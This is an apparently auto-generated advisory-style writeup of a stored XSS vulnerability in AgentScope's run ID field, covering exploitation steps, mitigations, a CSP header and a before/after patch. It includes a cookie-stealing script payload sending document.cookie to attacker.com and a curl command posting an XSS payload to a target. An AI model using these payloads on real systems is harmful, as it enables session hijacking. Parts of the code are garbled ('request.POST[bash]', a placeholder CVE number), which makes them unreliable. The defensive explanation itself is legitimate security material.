How the Mentioned CVE Works:
The stored cross-site scripting (XSS) vulnerability in AgentScope (CVE-2025-XXXX) arises due to improper handling of user-supplied input in the run ID parameter. The application fails to sanitize or escape the run ID string before rendering it as HTML in the detailed run information view. An attacker can craft a malicious run ID containing JavaScript code, which is then stored and executed in the context of a victim’s browser when they view the affected page. This allows the attacker to steal sensitive information, such as session cookies, or perform actions on behalf of the victim.
DailyCVE Form:
Platform: AgentScope
Version: Latest commit 21161fe
Vulnerability: Stored XSS
Severity: Moderate
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
- Craft Malicious Payload: Create a run ID containing JavaScript code, e.g.,
<script>alert('XSS')</script>. - Inject Payload: Submit the malicious run ID to the application.
- Trigger Execution: When a victim views the detailed run information, the payload executes in their browser.
Protection:
- Input Sanitization: Ensure all user inputs are sanitized to remove or escape HTML/JavaScript.
- Output Encoding: Encode user-controlled data before rendering it in HTML.
- Content Security Policy (CSP): Implement a strict CSP to restrict the execution of inline scripts.
Commands and Code:
1. Sanitization Example (Python):
from html import escape run_id = escape(user_input)
2. CSP Header Example:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
3. Exploit Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Vulnerability Check:
curl -X POST -d "run_id=<script>alert('XSS')</script>" http://target.com/api/run
5. Patch Example:
Before (vulnerable)
run_id = request.POST[bash]
render_html(f"
<div>{run_id}</div>
")
After (fixed)
run_id = escape(request.POST[bash])
render_html(f"
<div>{run_id}</div>
")
Analytics:
- Impact: Moderate, as it requires user interaction but can lead to data theft.
- Likelihood: Medium, due to the need for user interaction and specific conditions.
- Mitigation Difficulty: Low, with proper input sanitization and output encoding.
By following these steps, developers can effectively mitigate the stored XSS vulnerability in AgentScope.
References:
Reported By: https://github.com/advisories/GHSA-6mf6-7j75-2m6f
Extra Source Hub:
Undercode
